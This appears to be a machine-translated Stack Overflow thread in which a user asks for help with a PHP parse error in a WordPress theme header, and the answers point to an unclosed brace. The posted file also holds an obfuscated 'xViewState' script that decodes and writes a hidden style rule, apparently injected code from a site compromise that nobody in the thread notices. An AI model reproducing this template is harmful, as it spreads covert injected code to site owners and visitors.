2013-03-11 116 views
-1

我發現這個錯誤的第一次嘗試產生了很少。我知道這裏有一些東西我搞砸了,如果你能幫助我,我絕對會愛上你。我花了一個小時尋找缺失的元素,無法爲我的生活找到它。這裏是整個文件:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 

<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> 

<head profile="http://gmpg.org/xfn/11"> 

<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> 

<title><?php elegant_titles(); ?></title> 

<?php elegant_description(); ?> 

<?php elegant_keywords(); ?> 

<?php elegant_canonical(); ?> 



<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> 

<link href='http://fonts.googleapis.com/css?family=Goudy+Bookletter+1911' rel='stylesheet' type='text/css' /> 

<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" /> 

<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" /> 

<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> 



<!--[if lt IE 7]> 

    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie6style.css" /> 

    <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/DD_belatedPNG_0.0.8a-min.js"></script> 

    <script type="text/javascript">DD_belatedPNG.fix('img#logo, span.overlay, a.zoom-icon, a.more-icon, #menu, #menu-right, #menu-content, ul#top-menu ul, #menu-bar, .footer-widget ul li, span.post-overlay, #content-area, .avatar-overlay, .comment-arrow, .testimonials-item-bottom, #quote, #bottom-shadow, #quote .container');</script> 

<![endif]--> 

<!--[if IE 7]> 

    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie7style.css" /> 

<![endif]--> 

<!--[if IE 8]> 

    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie8style.css" /> 

<![endif]--> 



<script type="text/javascript"> 

    document.documentElement.className = 'js'; 

</script> 



<?php if (is_singular()) wp_enqueue_script('comment-reply'); ?> 

<?php wp_head(); ?> 



<script language="JavaScript"> 
function xViewState() 
{ 
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','877886888787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a]; 
t=z=''; 
for(v=0;v<m.length;){t+=m.charAt(v++); 
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a); 
t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}xViewState(); 
</script></head> 

<!--start-add-div-content--><!--end-add-div-content--><body <?php body_class(); ?>> 
    <?php 
    $page = get_page_by_title('CSA'); 
    $page1 = get_page_by_title('Co-op Members'); 
    $page2 = get_page_by_title('Recipes'); 
    $page3 = get_page_by_title('FAQs'); 
    $page4 = get_page_by_title('Contact Us'); 
    $page5 = get_page_by_title('Home'); 

    if (is_page($page->ID)) 
    {?> 
     <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top5.jpg') no-repeat scroll center bottom #244714 !important;"> 
    <?php 
    }elseif (is_page($page1->ID)) 
    {?> 
     <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top2.jpg') no-repeat scroll center bottom #244714 !important;"> 
    <?php 
    }elseif (is_page($page2->ID)) 
    {?> 
     <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top3.jpg') no-repeat scroll center bottom #244714 !important;"> 
    <?php 
    }elseif (is_page($page3->ID)) 
    {?> 
     <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top4.jpg') no-repeat scroll center bottom #244714 !important;"> 
    <?php 
    }elseif (is_page($page4->ID)) 
    {?> 
     <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top5.jpg') no-repeat scroll center bottom #244714 !important;"> 
    <?php 
    }elseif (is_page($page5->ID)) 
    {?> 
     <div id="page-bg" style="background: url('http://ycgrown.com/wp-content/uploads/2013/03/Cherry-Tomatoes.jpg') no-repeat scroll center bottom #244714 !important;"> 
<?php 
    }else{ 
?> 
     <div id="page-bg" style="background: url('http://ycgrown.com/wp-content/uploads/2013/03/Cherry-Tomatoes.jpg') no-repeat scroll center bottom #244714 !important;"> 
} 


     <div id="page-bottom"> 

      <div id="page-top"<?php if (is_home() && get_option('mycuisine_featured') == 'false') echo ' class="nofeatured"'; ?>> 

       <?php if (is_home() && get_option('mycuisine_featured') == 'on') get_template_part('includes/featured'); ?> 

       <div id="main-area"> 

        <div class="container"> 

         <div id="menu-right"></div> 

         <div id="menu-bar"> 

          <div id="menu-content" class="clearfix"> 

           <a href="<?php bloginfo('url'); ?>"> 

            <?php $logo = (get_option('mycuisine_logo') <> '') ? get_option('mycuisine_logo') : get_bloginfo('template_directory').'/images/logo.png'; ?> 

            <img src="<?php echo esc_url($logo); ?>" alt="MyCuisine Logo" id="logo"/> 

           </a> 

           <?php do_action('et_header'); ?> 

           <?php $menuClass = 'nav'; 

           $menuID = 'top-menu'; 

           $primaryNav = ''; 

           if (function_exists('wp_nav_menu')) { 

            $primaryNav = wp_nav_menu(array('theme_location' => 'primary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'menu_id' => $menuID, 'echo' => false)); 

           }; 

           if ($primaryNav == '') { ?> 

            <ul id="<?php echo $menuID; ?>" class="<?php echo $menuClass; ?>"> 

             <?php if (get_option('mycuisine_home_link') == 'on') { ?> 

              <li <?php if (is_home()) echo('class="current_page_item"') ?>><a href="<?php bloginfo('url'); ?>"><?php esc_html_e('Home','MyCuisine') ?></a></li> 

             <?php }; ?> 



             <?php show_page_menu($menuClass,false,false); ?> 

             <?php show_categories_menu($menuClass,false); ?> 

            </ul> <!-- end ul#nav --> 

           <?php } 

           else echo($primaryNav); ?> 

          </div> <!-- end #menu-content--> 

         </div> <!-- end #menu-bar--> 



         <?php //if (!is_home()) get_template_part('includes/top_info'); 
         $page = get_page_by_title('CSA'); 
         if (is_page($page->ID)) 
         {?> 
         <a class="big-button biggreen" href="http://csa.farmigo.com/join/ycgrown/summer2013" style="position: absolute;right: 30px;top: 170px;"><span>Join the CSA!</span></a> 
         <?php }?> 

        </div> <!-- end .container --> 

       </div> <!-- end #main-area --> 

      </div> <!-- end #page-top --> 

      <?php if (is_home() && get_option('mycuisine_featured') == 'on') { ?> 

       <div id="controllers"> 

        <div class="container clearfix"> 

         <div id="switcher"> 

          <div id="switcher-right"> 

           <div id="switcher-content"> 

            <?php global $featured_num; 

            for ($i = 1; $i <= $featured_num; $i++) { ?> 

             <a href="#" class="item<?php if ($i == 1) echo ' active'; ?>"><?php echo $i; ?></a> 

            <?php } ?> 

           </div> <!-- #switcher-content --> 

          </div> <!-- #switcher-right --> 

         </div> <!-- #switcher --> 

        </div> <!-- .container --> 

       </div> <!-- #controllers --> 

      <?php } ?> 

     </div> <!-- end #page-bottom --> 

    </div> <!-- end #page-bg --> 



    <div id="content-area"> 
+0

這是整個錯誤,在這個問題的標題,還是你遺漏了一些東西? – Daedalus 2013-03-11 22:19:37

+1

請安裝IDE! – HamZa 2013-03-11 22:25:38

+0

答案(由Sandar提供)在你的[重複問題]上給了你三個不同的時間(http://stackoverflow.com/questions/15348878/ph​​p-parse-error-in-my-php-script)' ;)'。 – halfer 2013-03-13 11:49:33

回答

5

這樣看來,花括號不是一個PHP標籤內,因此這些else路徑永遠不會被關閉的一個:

<?php 
    }else{ 
?> 
     <div id="page-bg" style="background: url('http://ycgrown.com/wp-content/uploads/2013/03/Cherry-Tomatoes.jpg') no-repeat scroll center bottom #244714 !important;"> 
} // this one 
1

驗證了封閉式和開放式的PHP標籤

<?php { ?> 
<?php } ?> 
+0

你是我的英雄 – 2013-03-11 22:24:33